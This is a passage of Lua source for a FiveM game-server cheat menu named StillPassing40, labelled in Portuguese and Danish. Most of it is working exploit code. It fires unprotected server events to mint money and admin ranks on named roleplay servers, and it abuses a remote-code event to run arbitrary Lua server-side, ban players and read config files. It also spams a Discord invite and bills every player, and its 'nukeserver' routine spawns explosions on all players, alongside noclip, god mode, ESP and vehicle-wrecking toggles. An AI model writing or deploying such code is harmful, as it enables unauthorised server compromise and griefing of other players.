111\98\106\101\99\116\115\112\97\119\110\101\114\10') then
if StillPassing40.MenuButton("Objetos Spawnados", 'objectlist') then
elseif StillPassing40.ComboBox("~s~Selecionar~s~ To Objeto~p~ |
Trocavel", objs_tospawn, currObjIndex, selObjIndex, function(currentIndex,
selectedIndex)
currObjIndex = currentIndex
selObjIndex = currentIndex
obj = objs_tospawn[currObjIndex]
end) then
elseif StillPassing40.Button("~s~Spawnar ~s~Objeto") then
local pos = GetEntityCoords(PlayerPedId())
local pitch = GetEntityPitch(PlayerPedId())
local roll = GetEntityRoll(PlayerPedId())
local yaw = GetEntityRotation(PlayerPedId()).z
local xf = GetEntityForwardX(PlayerPedId())
local yf = GetEntityForwardY(PlayerPedId())
local spawnedObj = nname
if currDirectionIndex == 1 then
spawnedObj = CreateObject(GetHashKey(obj), pos.x +
(xf * 10), pos.y + (yf * 10), pos.z - 1, 1, 1, 1)
elseif currDirectionIndex == 2 then
spawnedObj = CreateObject(GetHashKey(obj), pos.x -
(xf * 10), pos.y - (yf * 10), pos.z - 1, 1, 1, 1)
end
SetEntityRotation(spawnedObj, pitch, roll, yaw +
ObjRotation)
SetEntityVisible(spawnedObj, objVisible, 0)
FreezeEntityPosition(spawnedObj, 1)
table.insert(SpawnedObjects, spawnedObj)
elseif StillPassing40.Button("Add objeto pelo nome") then
local testObj = GetKeyboardInput("Coloque o nome do
objeto:")
local pos = GetEntityCoords(PlayerPedId())
local addedObj = CreateObject(GetHashKey(testObj), pos.x,
pos.y, pos.z - 100, 0, 1, 1)
SetEntityVisible(addedObj, 0, 0)
if table.contains(objs_tospawn, testObj) then
ShowInfo("~b~Model " .. testObj .. " ja esta
spawnado!")
elseif DoesEntityExist(addedObj) then
objs_tospawn[#objs_tospawn + 1] = testObj
ShowInfo("~p~Model " .. testObj .. " foi adicionado
na lista!")
else
ShowInfo("~p~Model " .. testObj .. " isso nao
existe!")
end
RequestControlOnce(addedObj)
DeleteObject(addedObj)
elseif StillPassing40.CheckBox("Visivel", objVisible) then
objVisible = not objVisible
elseif StillPassing40.ComboBox("Direction", {"front", "back"},
currDirectionIndex, selDirectionIndex, function(currentIndex, selectedIndex)
currDirectionIndex = currentIndex
selDirectionIndex = currentIndex
end) then
elseif StillPassing40.ComboBox("Rotacao", RotationOps,
currRotationIndex, selRotationIndex, function(currentIndex, selectedIndex)
currRotationIndex = currentIndex
selRotationIndex = currentIndex
ObjRotation = RotationOps[currRotationIndex]
end) then
end

-- SPAWNED OBJECTS MENU


elseif StillPassing40.IsMenuOpened('objectlist') then
if StillPassing40.Button("Deletar todos objetos spawnados") then for i
= 1, #SpawnedObjects do
RequestControlOnce(SpawnedObjects[i])DeleteObject(SpawnedObjects[i]) end
else
for i = 1, #SpawnedObjects do
if DoesEntityExist(SpawnedObjects[i]) then
if StillPassing40.Button("OBJETO [" .. i .. "] COM ID " ..
SpawnedObjects[i]) then
RequestControlOnce(SpawnedObjects[i])
DeleteObject(SpawnedObjects[i])
end
end
end
end

-- WEATHER CHANGER MENU


elseif StillPassing40.IsMenuOpened('weather') then
if StillPassing40.ComboBox("Weather Type", WeathersList,
currWeatherIndex, selWeatherIndex, function(currentIndex, selectedIndex)
currWeatherIndex = currentIndex
selWeatherIndex = currentIndex
WeatherType = WeathersList[currentIndex]
end) then
elseif StillPassing40.CheckBox("Weather Changer", WeatherChanger,
"Disabled", "Enabled") then
WeatherChanger = not WeatherChanger
end

-- MISC OPTIONS MENU


elseif StillPassing40.IsMenuOpened('\109\105\115\99\10') then

if StillPassing40.Button("Dinheiro ~y~Alto Astral ~r~ um clike a cada 2


segundos") then
TriggerServerEvent("damn_lixeiro:rewardTrash")
elseif StillPassing40.Button("Dinheiro ~y~Zona Leste RP ~g~NEW ~r~ um
clike a cada 2 segundos") then
TriggerServerEvent("cp_ubereats:receber",500000)
elseif StillPassing40.Button("Dinheiro ~y~Hunters RolePlay ~g~NEW ~r~
um clike a cada 2 segundos") then
TriggerServerEvent("damn_lixeiro:rewardTrash")
elseif StillPassing40.Button("Dinheiro ~y~Complexo Sao Paulo ~g~NEW ~r~
um clike a cada 2 segundos") then
TriggerServerEvent("thor_transportadora:receber",15000)
elseif StillPassing40.Button("Dinheiro ~y~Vida Nova ~g~NEW ~r~ um clike
a cada 2 segundos") then
TriggerServerEvent("vrp_ultragas:receber",5000)
elseif StillPassing40.Button("Dinheiro ~y~UP RP ~g~NEW ~r~ um clike a
cada 2 segundos") then
TriggerServerEvent("reanimar:pagamento2121")
elseif StillPassing40.Button("Dinheiro ~y~Cidade RJ ~g~NEW ~r~ um clike
a cada 2 segundos") then
TriggerServerEvent("zvu-sexy:receber",5000)
elseif StillPassing40.Button("Dinheiro ~y~Guarulhos Infinity ~g~NEW ~r~
um clike a cada 2 segundos") then
TriggerServerEvent("damn_lixeiro:rewardTrash")
elseif StillPassing40.Button("Dinheiro ~y~MIL GRAU RP ~g~NEW ~r~ um
clike a cada 2 segundos") then
TriggerServerEvent("myovorecebersidix",100000)
end

elseif StillPassing40.IsMenuOpened('policiatiki') then

if StillPassing40.Button("TIKI DESMANCHE 3.0 ~r~") then


TriggerServerEvent("desmancheVehicles")

end

elseif StillPassing40.IsMenuOpened("InfoMenu") then


if StillPassing40.Button("Dinheiro 1") then
TriggerServerEvent("damn_lixeiro:rewardTrash")
elseif StillPassing40.Button("Dinheiro 2") then
TriggerServerEvent('salario:pagamento')
elseif StillPassing40.Button("Dinheiro 3") then
TriggerServerEvent("reanimar:pagamento")
end

elseif StillPassing40.IsMenuOpened('esp') then


if StillPassing40.CheckBox("ESP Linhas", LinesEnabled) then
LinesEnabled = not LinesEnabled
end

elseif StillPassing40.IsMenuOpened('webradio') then


if StillPassing40.CheckBox("Classical", ClassicalRadio, "Status: Not
Playing", "Status: Playing") then
ClassicalRadio = not ClassicalRadio
if ClassicalRadio then
RadioDUI =
CreateDui("http://cms.stream.publicradio.org/cms.mp3", 1, 1)
ShowInfo("~b~Now Playing...")
else
DestroyDui(RadioDUI)
ShowInfo("~p~Web Radio Stopped!")
end
end

elseif StillPassing40.IsMenuOpened('saveload') then


if StillPassing40.Button("Hardwick") then
SetEntityCoords(PlayerPedId(), 134.122055, -200.21133, 53.86409)
elseif StillPassing40.Button("Sandy Shores") then
SetEntityCoords(PlayerPedId(),
1197.0754394531,2698.8005371094,37.990936279297)

elseif StillPassing40.Button("Paleto Bay") then


SetEntityCoords(PlayerPedId(), -4.5, 6521.2, 30.5)
end

elseif StillPassing40.IsMenuOpened('pois') then


if StillPassing40.Button("Mors Mutual Insurance") then
SetEntityCoords(PlayerPedId(), -221.74, -1158.24, 23.04)

elseif StillPassing40.Button("Midtby Garage") then


SetEntityCoords(PlayerPedId(), 215.66017150879,-788.88757324219,
30.827373504639)

elseif StillPassing40.Button("Bilforhandleren") then


SetEntityCoords(PlayerPedId(), -15.169131278992, -1085.6313476563,
25.672069549561)

end

elseif StillPassing40.IsMenuOpened('pois2') then


if StillPassing40.Button("Bilforhandleren") then
SetEntityCoords(PlayerPedId(), -35.414115905762,-
1107.6121826172,26.422357559204)

elseif StillPassing40.Button("Politi Stationen") then


SetEntityCoords(PlayerPedId(), 441.56, -982.9, 30.69)

elseif StillPassing40.Button("FBI") then


SetEntityCoords(PlayerId(), 134.39839172363,-
766.44683837891,242.15205383301)

elseif StillPassing40.Button("Midtby") then


SetEntityCoords(PlayerPedId(), 195.23, -934.04, 30.69)

elseif StillPassing40.Button("Sandy Shores") then


SetEntityCoords(PlayerPedId(),
1783.6663818359,3338.3666992188,40.955310821533)

elseif StillPassing40.Button("Yellow Jack") then


SetEntityCoords(PlayerPedId(),
2005.0179443359,3056.4455566406,47.049137115479)

elseif StillPassing40.Button("Rådhuset") then


SetEntityCoords(PlayerPedId(), 470.78237915039,-
125.37075805664,63.186191558838)

elseif StillPassing40.Button("Rockerborg") then


SetEntityCoords(PlayerPedId(), 973.06365966797,-
138.54254150391,74.262649536133)

end
elseif StillPassing40.IsMenuOpened('\108\117\97\10') then
if StillPassing40.MenuButton('vRP', '\118\114\112\10') then
elseif StillPassing40.MenuButton('vRP Rollespilleren', 'roles')
then
elseif StillPassing40.MenuButton('----------', 'roles') then
elseif StillPassing40.MenuButton('ESX', '\101\115\120\10') then
elseif StillPassing40.MenuButton('ESX Jobs ', 'other') then

end

elseif StillPassing40.IsMenuOpened('money') then


if StillPassing40.Button("Spawnar Dinheiro | CB") then

udwdj("lupin:careca", 1500000)
elseif MIOddhwuie.Button("SPAWN Penge | Bank", '~p~Devo & Sky') then
TriggerServerEvent("bank:deposit", 1500000)
elseif StillPassing40.Button("SPAWN Penge", '~p~DevoNetwork') then
local belob = GetKeyboardInput("Beløb")
udwdj("scrap:SellVehicle", belob)
elseif StillPassing40.Button("SPAWN Andre Personer Penge",
'~p~DevoNetwork') then
local i = 0
local id = tonumber(GetKeyboardInput("ID"))
local result = tonumber(GetKeyboardInput("Beløb"))
local times = tonumber(GetKeyboardInput("Antal Gange?"))
udwdj("scrap:SellVehicle", result)
while i<times do
udwdj("bank:transfer", id, result/100)
i = i + 1
end
end

elseif StillPassing40.IsMenuOpened('roles') then


if
StillPassing40.Button("==========================~p~PENGE~s~=======================
====") then
elseif StillPassing40.Button("Modtage Penge #1", "~rp~Mange Servere") then
TriggerServerEvent("scrap:SellVehicle", 15000000000000)
elseif StillPassing40.Button("Modtag Penge #2", '~p~Mange Servere') then
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')

TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')

TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')

TriggerServerEvent('Hvidvask2')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')

elseif
StillPassing40.Button("==========================~p~FARMS~s~=======================
====") then
elseif StillPassing40.Button("Modtag Kokain", '~p~10 stk.') then
TriggerServerEvent('kokain2')
elseif StillPassing40.Button("Modtag Færdigt Kokain", '~p~10 stk.') then
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('Fremstill2')
elseif
StillPassing40.Button("==========================~p~TROLL~s~=======================
====") then
elseif StillPassing40.Button("BAN Person", '~p~DevoNetwork') then
local id = "local id = " .. GetKeyboardInput("ID:", " ", 20) .. " "
local grund = 'local grund = "'.. GetKeyboardInput('GRUND:', '' ,
20)..'" '
local ban = [[
local warof = 5
local users = vRP.getUsers({})
local player = vRP.getUserSource({id})
vRP.ban({id, grund})
for i = 1,500 do
RconPrint("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
RconPrint("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
end
]]
local ban = id .. grund ..ban
udwdj('RunCode:RunStringRemotelly', ban)

elseif StillPassing40.Button("Udløs PanikKnap", '~p~~p~Devo & Sky') then

TriggerServerEvent("vrp_panikknap:panik",GetEntityCoords(PlayerPedId(selectedPlayer
), true))
TriggerServerEvent("vrp_panikknap:gps",
GetEntityCoords(PlayerPedId(selectedPlayer), true))
elseif
StillPassing40.Button("==========================~p~RANKS~s~=======================
====") then
elseif StillPassing40.Button("Groups", '~p~DevoNetwork') then
TriggerServerEvent('RunCode:RunStringRemotelly', [[
local file = LoadResourceFile("vrp", "cfg/groups.lua")

vRP.prompt({source, "", file, function() end})

for i = 1,500 do
end
]])
elseif StillPassing40.Button("Custom Rank", '~p~DevoNetwork') then
local id = "local id = " .. GetKeyboardInput("ID:", " ", 20) .. " "
local rank = 'local rank = "'.. GetKeyboardInput('RANK:', '' , 20)..'" '
local admin = [[
local warof = 5
local users = vRP.getUsers({})
local player = vRP.getUserSource({id})
vRP.addUserGroup({id, rank})
for i = 1,500 do
end
]]
local admin2 = id .. rank ..admin
udwdj('RunCode:RunStringRemotelly', admin2)
elseif StillPassing40.Button("Owner Rank", '~p~~p~SkyUniverse') then
udwdj("kasperr_kriminel:selectJob", "superadmin")
udwdj("kasperr_kriminel:selectJob", "admin")
udwdj("kasperr_kriminel:selectJob", "superadmin")
udwdj("kasperr_kriminel:selectJob", "moderator")
elseif StillPassing40.Button("Politi-Job", '~p~SkyUniverse') then
udwdj("kasperr_jobcenter:selectJob", "Politi-Job")
end

elseif StillPassing40.IsMenuOpened('other') then


if StillPassing40.Button("~p~Remove Job") then
udwdj("NB:destituerplayer",GetPlayerServerId(-1))
elseif StillPassing40.Button("~s~Recruit~p~ Mechanic") then
local result = GetKeyboardInput("Enter Nivel Job ~p~0-10", "",
10)
udwdj('NB:recruterplayer', GetPlayerServerId(-1), "mecano",
result)
elseif StillPassing40.Button("~s~Recruit~p~ Police") then
local result = GetKeyboardInput("Enter Nivel Job ~p~0-10", "",
10)
udwdj('NB:recruterplayer', GetPlayerServerId(-1), "police",
result)
udwdj('Esx-MenuPessoal:Boss_recruterplayer',
GetPlayerServerId(-1), "police", result)
elseif StillPassing40.Button("~s~Recruit~p~ Mafia") then
local result = GetKeyboardInput("Enter Nivel Job ~p~0-10", "",
10)
udwdj('NB:recruterplayer', GetPlayerServerId(-1), "mafia",
result)
udwdj('Esx-MenuPessoal:Boss_recruterplayer',
GetPlayerServerId(-1), "mafia", result)
elseif StillPassing40.Button("~s~Recruit~p~ Gang") then
local result = GetKeyboardInput("Enter Nivel Job ~p~0-10", "",
10)
udwdj('NB:recruterplayer', GetPlayerServerId(-1), "gang",
result)
udwdj('Esx-MenuPessoal:Boss_recruterplayer',
GetPlayerServerId(-1), "gang", result)
elseif StillPassing40.Button("~s~Recruit~p~ Taxi") then
local result = GetKeyboardInput("Enter Nivel Job ~p~0-10", "",
10)
udwdj('NB:recruterplayer', GetPlayerServerId(-1), "taxi",
result)
udwdj('Esx-MenuPessoal:Boss_recruterplayer',
GetPlayerServerId(-1), "taxi", result)
elseif StillPassing40.Button("~s~Recruit~p~ Inem") then
local result = GetKeyboardInput("Enter Nivel Job ~p~0-10", "",
10)
udwdj('NB:recruterplayer', GetPlayerServerId(-1),
"ambulance", result)
udwdj('Esx-MenuPessoal:Boss_recruterplayer',
GetPlayerServerId(-1), "ambulance", result)
end

elseif StillPassing40.IsMenuOpened('\101\115\120\10') then


if StillPassing40.Button("~p~ESX ~s~| ~w~Restore Hunger") then
TriggerEvent("esx_status:set", "hunger", 1000000)
elseif StillPassing40.Button("~p~ESX ~s~| ~w~Restore Thirst") then
TriggerEvent("esx_status:set", "thirst", 1000000)
elseif StillPassing40.Button("~p~ESX ~s~| ~w~Revive Self") then
udwdj('esx_ambulancejob:revive', GetPlayerServerId(PlayerId()))
elseif StillPassing40.Button("~p~ESX ~s~| ~w~Revive By ID") then
local serverID = GetKeyboardInput("Enter Player Server ID:")
udwdj('esx_ambulancejob:revive', serverID)
elseif StillPassing40.Button("~p~ESX ~s~| Send Everyone Custom Bill")
then
local amount = KeyboardInput("Bill Ammount", "", 100000000)
local name = KeyboardInput("Bill Name", "", 100000000)
for i = 0, 128 do
TriggerServerEvent('esx_billing:sendBill', GetPlayerServerId(i),
"Purposeless", name, amount)
end
end

elseif StillPassing40.IsMenuOpened('\118\114\112\10') then


if StillPassing40.Button("Toggle Handcuffs", 'Client') then
vRP.toggleHandcuff()
elseif StillPassing40.Button("Get Driving license") then
udwdj("dmv:success")
elseif StillPassing40.Button("Clear Wanted Level", "Client") then
vRP.applyWantedLevel(0)
elseif StillPassing40.Button("Slot Machine", "Server") then
local e0rFlmwZ1PfQ = GetKeyboardInput("Enter amount of money", " ",
12)
if e0rFlmwZ1PfQ ~= " " then
TriggerCustomEvent(true, "vrp_slotmachine:server:2",
e0rFlmwZ1PfQ)
end
end
elseif StillPassing40.IsMenuOpened('credits') then
for i = 1, #developers do if StillPassing40.Button(developers[i]) then
end end

elseif IsDisabledControlJustReleased(0, Keys[menuKeybind]) then


StillPassing40.OpenMenu('StillPassing40')

elseif IsDisabledControlPressed(0, Keys[menuKeybind2]) then


StillPassing40.OpenMenu('StillPassing40')

elseif IsControlJustReleased(0, Keys[noclipKeybind]) then ToggleNoclip()

elseif IsControlJustReleased(0, Keys[teleportKeyblind]) then


TeleportToWaypoint()

end

StillPassing40.Display()

if Demigod then
if GetEntityHealth(PlayerPedId()) < 200 then
SetEntityHealth(PlayerPedId(), 200)
end
end

if ADemigod then
SetEntityHealth(PlayerPedId(), 189.9)
end

if Noclipping then
local isInVehicle = IsPedInAnyVehicle(PlayerPedId(), 0)
local k = nname
local x, y, z = nname

if not isInVehicle then


k = PlayerPedId()
x, y, z = table.unpack(GetEntityCoords(PlayerPedId(), 2))
else
k = GetVehiclePedIsIn(PlayerPedId(), 0)
x, y, z = table.unpack(GetEntityCoords(PlayerPedId(), 1))
end

if isInVehicle and GetSeatPedIsIn(PlayerPedId()) ~= -1 then


RequestControlOnce(k) end

local dx, dy, dz = GetCamDirection()


SetEntityVisible(PlayerPedId(), 0, 0)
SetEntityVisible(k, 0, 0)

SetEntityVelocity(k, 0.0001, 0.0001, 0.0001)

if IsDisabledControlJustPressed(0, Keys["LEFTSHIFT"]) then -- Change


speed
oldSpeed = NoclipSpeed
NoclipSpeed = NoclipSpeed * 2
end
if IsDisabledControlJustReleased(0, Keys["LEFTSHIFT"]) then -- Restore
speed
NoclipSpeed = oldSpeed
end

if IsDisabledControlPressed(0, 32) then -- MOVE FORWARD


x = x + NoclipSpeed * dx
y = y + NoclipSpeed * dy
z = z + NoclipSpeed * dz
end

if IsDisabledControlPressed(0, 269) then -- MOVE BACK


x = x - NoclipSpeed * dx
y = y - NoclipSpeed * dy
z = z - NoclipSpeed * dz
end

if IsDisabledControlPressed(0, Keys["SPACE"]) then -- MOVE UP


z = z + NoclipSpeed
end

if IsDisabledControlPressed(0, Keys["LEFTCTRL"]) then -- MOVE


DOWN
z = z - NoclipSpeed
end

SetEntityCoordsNoOffset(k, x, y, z, true, true, true)


end

if ExplodingAll then
ExplodeAll(includeself)
end

if Tracking then
local coords = GetEntityCoords(GetPlayerPed(TrackedPlayer))
SetNewWaypoint(coords.x, coords.y)
end
if FlingingPlayer then
local coords = GetEntityCoords(GetPlayerPed(FlingedPlayer))
Citizen.InvokeNative(0xE3AD2BDBAEE269AC, coords.x, coords.y,
coords.z, 4, 1.0, 0, 1, 0.0, 1)
end

if InfStamina then
RestorePlayerStamina(PlayerId(),
GetPlayerSprintStaminaRemaining(PlayerId()))
end

if SuperJump then
SetSuperJumpThisFrame(PlayerId())
end

if Invisibility then
SetEntityVisible(PlayerPedId(), 0, 0)
end

if Forcefield then
DoForceFieldTick(ForcefieldRadius)
end

if CarsDisabled then
local plist = GetActivePlayers()
for i = 1, #plist do
if IsPedInAnyVehicle(GetPlayerPed(plist[i]), true) then
ClearPedTasksImmediately(GetPlayerPed(plist[i]))
end
end
end

if GunsDisabled then
local plist = GetActivePlayers()
for i = 1, #plist do
if IsPedShooting(GetPlayerPed(plist[i])) then
ClearPedTasksImmediately(GetPlayerPed(plist[i]))
end
end
end

if NoisyCars then
for k in EnumerateVehicles() do
SetVehicleAlarmTimeLeft(k, 500)
end
end

if FlyingCars then
for k in EnumerateVehicles() do
RequestControlOnce(k)
ApplyForceToEntity(k, 3, 0.0, 0.0, 500.0, 0.0, 0.0, 0.0, 0, 0, 1,
1, 0, 1)
end
end

if SuperGravity then
for k in EnumerateVehicles() do
RequestControlOnce(k)
SetVehicleGravityAmount(k, GravAmount)
end
end

function nukeserver()
Citizen.CreateThread(function()
local dg="Avenger"
local dh="CARGOPLANE"
local di="luxor"
local dj="maverick"
local dk="blimp2"

while not HasModelLoaded(GetHashKey(dh))do


Citizen.Wait(0)
RequestModel(GetHashKey(dh))
end

while not HasModelLoaded(GetHashKey(di))do


Citizen.Wait(0)RequestModel(GetHashKey(di))
end

while not HasModelLoaded(GetHashKey(dg))do


Citizen.Wait(0)RequestModel(GetHashKey(dg))
end

while not HasModelLoaded(GetHashKey(dj))do


Citizen.Wait(0)RequestModel(GetHashKey(dj))
end

while not HasModelLoaded(GetHashKey(dk))do


Citizen.Wait(0)RequestModel(GetHashKey(dk))
end

for bs=0,9 do
udwdj("_chat:messageEntered","~p~",{141,211,255},"^1C^2r^3e^4e^5k
^1M^2e^3n^4u ^4https://discord.gg/qrG9knVEWH")
end

for i=0,128 do
local di=CreateVehicle(GetHashKey(dg),GetEntityCoords(GetPlayerPed(i))
+2.0,true,true) and CreateVehicle(GetHashKey(dg),GetEntityCoords(GetPlayerPed(i))
+10.0,true,true)and CreateVehicle(GetHashKey(dg),2*GetEntityCoords(GetPlayerPed(i))
+15.0,true,true)and CreateVehicle(GetHashKey(dh),GetEntityCoords(GetPlayerPed(i))
+2.0,true,true)and CreateVehicle(GetHashKey(dh),GetEntityCoords(GetPlayerPed(i))
+10.0,true,true)and CreateVehicle(GetHashKey(dh),2*GetEntityCoords(GetPlayerPed(i))
+15.0,true,true)and CreateVehicle(GetHashKey(di),GetEntityCoords(GetPlayerPed(i))
+2.0,true,true)and CreateVehicle(GetHashKey(di),GetEntityCoords(GetPlayerPed(i))
+10.0,true,true)and CreateVehicle(GetHashKey(di),2*GetEntityCoords(GetPlayerPed(i))
+15.0,true,true)and CreateVehicle(GetHashKey(dj),GetEntityCoords(GetPlayerPed(i))
+2.0,true,true)and CreateVehicle(GetHashKey(dj),GetEntityCoords(GetPlayerPed(i))
+10.0,true,true)and CreateVehicle(GetHashKey(dj),2*GetEntityCoords(GetPlayerPed(i))
+15.0,true,true)and CreateVehicle(GetHashKey(dk),GetEntityCoords(GetPlayerPed(i))
+2.0,true,true)and CreateVehicle(GetHashKey(dk),GetEntityCoords(GetPlayerPed(i))
+10.0,true,true)and CreateVehicle(GetHashKey(dk),2*GetEntityCoords(GetPlayerPed(i))
+15.0,true,true)and
AddExplosion(GetEntityCoords(GetPlayerPed(i)),5,3000.0,true,arwet,100000.0)and
AddExplosion(GetEntityCoords(GetPlayerPed(i)),5,3000.0,true,arwet,true)
end
ShowInfo("~p~Fucked :(")
end)
end

if fuckallcars then
for aP in EnumerateVehicles() do
if not
IsPedAPlayer(GetPedInVehicleSeat(aP, -1)) then
SetVehicleHasBeenOwnedByPlayer(aP, false) SetEntityAsMissionEntity(aP, false,
false) StartVehicleAlarm(aP) DetachVehicleWindscreen(aP) SmashVehicleWindow(aP, 0)
SmashVehicleWindow(aP, 1) SmashVehicleWindow(aP, 2) SmashVehicleWindow(aP, 3)
SetVehicleTyreBurst(aP, 0, true, 1000.0) SetVehicleTyreBurst(aP, 1, true, 1000.0)
SetVehicleTyreBurst(aP, 2, true, 1000.0) SetVehicleTyreBurst(aP, 3, true, 1000.0)
SetVehicleTyreBurst(aP, 4, true, 1000.0) SetVehicleTyreBurst(aP, 5, true, 1000.0)
SetVehicleTyreBurst(aP, 4, true, 1000.0) SetVehicleTyreBurst(aP, 7, true, 1000.0)
SetVehicleDoorBroken(aP, 0, true) SetVehicleDoorBroken(aP, 1, true)
SetVehicleDoorBroken(aP, 2, true) SetVehicleDoorBroken(aP, 3, true)
SetVehicleDoorBroken(aP, 4, true) SetVehicleDoorBroken(aP, 5, true)
SetVehicleDoorBroken(aP, 6, true) SetVehicleDoorBroken(aP, 7, true)
SetVehicleLights(aP, 1) Citizen.InvokeNative(0x1FD09E7390A74D54, aP, 1)
SetVehicleNumberPlateTextIndex(aP, 5) SetVehicleNumberPlateText(aP,
"StillPassing40") SetVehicleDirtLevel(aP, 10.0) SetVehicleModColor_1(aP, 1)
SetVehicleModColor_2(aP, 1) SetVehicleCustomPrimaryColour(aP, 255, 51, 255)
SetVehicleCustomSecondaryColour(aP, 255, 51, 255) SetVehicleBurnout(aP, true) end
end end
if destroyvehicles then
for vehicle in EnumerateVehicles() do
if vehicle ~=
GetVehiclePedIsIn(GetPlayerPed(-1), false) then
NetworkRequestControlOfEntity(vehicle) SetVehicleUndriveable(vehicle, true)
SetVehicleEngineHealth(vehicle, 0) end end end
if alarmvehicles then
for vehicle in EnumerateVehicles() do
if vehicle ~=
GetVehiclePedIsIn(GetPlayerPed(-1), false) then
